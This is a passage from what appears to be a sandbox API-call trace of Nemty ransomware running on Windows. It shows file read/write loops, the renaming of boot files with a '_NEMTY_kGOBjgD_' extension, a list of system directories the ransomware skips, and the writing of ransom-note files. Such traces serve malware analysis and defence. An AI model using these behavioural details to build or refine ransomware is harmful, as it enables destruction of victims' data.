nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.048] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.048] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51962802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.059] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.059] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.059] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52122802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.069] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.069] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.069] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52282802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.078] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.078] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.078] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52442802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.106] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.107] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52602802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.116] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.116] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.116] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52762802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52922802, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.141] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.141] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.141] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f524, lpOverlapped=0x0 | out: lpBuffer=0x6346d48, lpNumberOfBytesRead=0x653f524*=0x0, lpOverlapped=0x0) returned 0 [0046.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106063204, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6346d48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.147] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106165604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0046.147] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f94088, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653f51c, lpOverlapped=0x0) returned 0 [0046.147] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.147] CloseHandle (hObject=0xffffffff) returned 0 [0046.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edd0 [0046.148] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9edd0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edd0 | out: hHeap=0x4f90000) returned 1 [0046.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0046.148] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.148] MoveFileW (lpExistingFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), lpNewFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui._NEMTY_kGOBjgD_" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui._nemty_kgobjgd_")) returned 0 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941f8 | out: hHeap=0x4f90000) returned 1 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.148] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.148] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1f43d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf1f43d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf1f43d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0046.148] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0046.148] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0046.148] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0046.148] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0046.148] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0046.148] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0046.148] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0046.149] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0046.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0046.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345df0 | out: hHeap=0x4f90000) returned 1 [0046.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9eda8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.149] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0046.149] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0046.149] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.150] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9edf8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0046.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0046.150] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9edf8 | out: hHeap=0x4f90000) returned 1 [0046.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.150] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf1f43d0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xcf1f43d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xcf1f43d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0046.150] FindClose (in: hFindFile=0x3423970 | out: hFindFile=0x3423970) returned 1 [0046.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.150] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0046.150] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x34491d8, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2=".") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="..") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="...") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="windows") returned -1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="$RECYCLE.BIN") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="rsa") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="NTDETECT.COM") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="ntldr") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="MSDOS.SYS") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="IO.SYS") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="boot.ini") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="boot.ini") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="AUTOEXEC.BAT") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="ntuser.dat") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="desktop.ini") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="CONFIG.SYS") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="RECYCLER") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="BOOTSECT.BAK") returned 1 [0046.150] lstrcmpiW (lpString1="tr-TR", lpString2="bootmgr") returned 1 [0046.151] lstrcmpiW (lpString1="tr-TR", lpString2="programdata") returned 1 [0046.151] lstrcmpiW (lpString1="tr-TR", lpString2="appdata") returned 1 [0046.151] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr-TR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.151] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr-TR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr-TR", lpUsedDefaultChar=0x0) returned 5 [0046.151] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr-TR", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0046.151] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="tr-TR", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tr-TR", lpUsedDefaultChar=0x0) returned 5 [0046.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0046.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.151] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0046.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0046.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0046.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9eda8 | out: hHeap=0x4f90000) returned 1 [0046.151] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0046.151] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0046.151] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\boot\\tr-tr\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0046.152] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0046.152] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0046.152] WriteFile (in: hFile=0x3c0, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0046.152] CloseHandle (hObject=0x3c0) returned 1 [0046.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0046.153] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0046.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0046.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9eda8 [0046.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0046.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0046.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0046.153] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9edf8 [0046.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, 